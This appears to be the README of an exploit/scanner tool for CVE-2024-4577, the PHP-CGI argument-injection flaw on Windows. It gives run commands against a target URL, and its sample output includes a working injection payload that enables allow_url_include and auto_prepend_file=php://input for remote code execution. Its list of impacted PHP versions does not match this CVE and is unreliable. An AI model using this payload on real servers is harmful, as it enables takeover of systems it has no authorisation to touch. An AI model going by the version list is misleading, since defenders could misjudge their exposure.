CVE-2024-4577: Critical Vulnerability in PHP's CGI Configurations

A severe security flaw exists in PHP's CGI mode that allows attackers to run arbitrary commands by manipulating URL parameters.

Impacted Versions

• PHP versions before 7.4.29 and 8.0.19 on Windows running php-cgi.

Attack Methodology

• Attackers can leverage this vulnerability by sending specially crafted requests to the PHP CGI script. These requests inject malicious parameters, enabling the execution of arbitrary commands. This can potentially result in complete system compromise.

Usage Instructions

Prerequisites

Before running the script, ensure you have Python 3 installed on your system. Additionally, you need the requests library for handling HTTP requests.

Installing Dependencies

You can install the required dependencies using pip. If pip is not installed, follow the instructions here.

1. Open your terminal or command prompt.
2. Run the following command to install the requests library:

pip install requests

Running the Script

To check a target URL for the CVE-2024-4577 vulnerability, follow these steps:

• Execute the script using python3 with the target URL as an argument.

python3 exploit.py <target>

For instance, to test the URL http://example.com, run:

python3 exploit.py http://example.com

Script Output

The script will test the provided target URL for the vulnerability and print the results to the console. It will indicate whether a potential vulnerability was found or if no vulnerability was detected.

(+) Potential vulnerability found at: http://example.com/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
(-) No vulnerability found at: http://example.com/php-cgi/php-cgi.exe?%ADd+allow_url_include

Remediation Steps

1. Update PHP to the latest version.
2. Ensure input parameters are properly sanitized and validated.
3. Apply secure configuration settings to restrict CGI parameter processing.

Credits

This vulnerability was found by Orange Tsai (@orange_8361)